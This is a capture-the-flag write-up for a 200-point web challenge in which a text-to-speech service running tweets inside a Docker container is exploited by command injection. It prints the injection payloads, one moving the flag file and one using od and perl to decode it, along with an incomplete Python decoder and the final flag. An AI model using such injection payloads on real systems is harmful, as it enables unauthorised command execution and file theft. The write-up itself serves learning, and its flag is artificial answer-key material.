Web - 200 Points

If you hear enough, you may hear the whispers of a key… If you see app.py well enough, you will notice the UI sucks…

http://echo.chal.pwning.xxx:9977/

Writeup

The server executes a text-to-speech software on 4 user-provided tweets and lets you listen to the wav output files.
The text-to-speech process is executed in a docker image called lumjjb/echo_container
Inside the docker container, the file run.py performs the text-to-speech (TTS). The tweets are written to a file input. The server saves the flag file, which contains the encrypted flag, in the same folder. This folder is then shared with the docker TTS container.

In line 30 of run.py file there is a command execution vulnerability through the variable l

We can move the flag file to a wav file in the out folder with this payload
";mv /share/flag "/share/out/1.wav.
After the TTS step, the wav files are converted with ffmpeg and the conversion output is stored in the folder served by the webserver. Unfortunately when the flag file (txt) is moved to a wav, ffmpeg returns an error and no file is stored as output.

So we thought it would be nice to read the flag file directly with the TTS, but the server returned a 500 error.
The flag file has lots of unpronounceable characters, and it is 2470000 chars long, 65000 for every character in the flag, so the flag is actually 38 chars long.

So can write a small payload that decrypts the flag on the docker, let the server process the flag as TTS, convert the wav and then we would listen to the flag.
Since the TTS wasn’t good we splitted the flag text into single char converted to decimal.

This is our python payload, too long to fit in 4 tweets:

def decode_flag(f):
for i in range(0, len(f),65000):
if i+64999 > len(f):
break
fs=f[i:i+64999]
c=f[i+64999]
p=0
for k in fs:
p=p^ord(k)

We minified it to fit in one tweet ^.^

`od -v -w1 -An -t uC /share/flag | perl -e 'my $i=0;my $x=0;while(<>){ $i++;$x^=$_; if($i==65000){$i=0;print $x." "; $x=0;}  };'`

And the flag! 80 67 84 71 123 76 49 53 115 116 51 110 95 84 48 95 95 114 101 101 101 95 114 101 101 101 101 101 101 95 114 101 101 101 95 108 97 125

Ops, Sorry! The Flag: PCTF{L15st3n_T0__reee_reeeeee_reee_la}